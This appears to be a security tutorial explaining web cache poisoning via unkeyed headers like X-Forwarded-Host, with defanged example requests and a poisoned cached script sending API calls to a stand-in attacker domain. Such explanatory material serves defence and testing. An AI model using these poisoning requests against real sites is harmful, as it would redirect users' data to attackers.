GET /static/common.js HTTP/1.1 Host: testCompany.com X-Forwarded-Host: 127.0.0.1
When you fire off this request and get a 200 OK back, if that '127.0.0.1' address (or in a real attack, a malicious domain) gets injected into a URL inside your JavaScript file and that response is cached by your CDN or Varnish—well, game over. Every single user is now loading a script under the attacker's control.
Web Cache Poisoning is basically the art of turning cache mechanisms—the performance lifesavers of modern web architecture—into a weapon aimed at your users. It’s a sneaky one. In the Red Team world, we usually obsess over input validation in form fields or URL parameters. But lying in the dark corners of HTTP headers are 'unkeyed' parameters: values that the application processes but the cache ignores when deciding what to serve.
What is a Cache Key and Why Does it Bite Us?
To figure out if it has already stored a response, a cache mechanism (like Cloudflare, Akamai, Varnish, or Nginx) creates a 'Cache Key'. Usually, this key consists of:
- Request Method (GET, POST)
- Path (/index.php)
- Query Strings (?id=5)
- Host Header (testCompany.com)
The critical issue is this: if the application uses other headers (e.g., X-Forwarded-Host, X-Forwarded-Proto, User-Agent) to generate the page, but those headers are NOT part of the 'Cache Key', you've just left the front door wide open for poisoning.
As an attacker (or a friendly pentester), you send a header that manipulates the output. The cache looks at it and says: "Method is GET, path is the same, host is the same... alright, I'll process this, save the response, and serve it to everyone else." But that response now contains the toxic payload you injected via X-Forwarded-Host.
Scenario: JavaScript Injection
Let's walk through a scenario in a testCompany environment. Suppose the app serves static files via a CDN. There’s a flaw in the app logic: it grabs the X-Forwarded-Host header and uses it as the base URL for an asset.
Defanged example of the attack request:
GET /common-lib.js HTTP/1.1
Host: testCompany.com
X-Forwarded-Host: 127.0.0.1/js-poison?data=
// The response returned by the server and cached:
HTTP/1.1 200 OK
Cache-Control: public, max-age=3600
...
var apiUrl = "http://127.0.0.1/js-poison?data=/api/v1";
If an attacker replaces 127.0.0.1 with their own domain like attacker-cdn.com, every user requesting that JS file from that moment on will send their API calls to the attacker's server. It’s a total disaster scenario. The worst part? This looks like a perfectly 'normal GET request' in the logs. It won’t trigger most WAF rules because there might not even be an XSS payload in the header—just a simple domain change is enough.
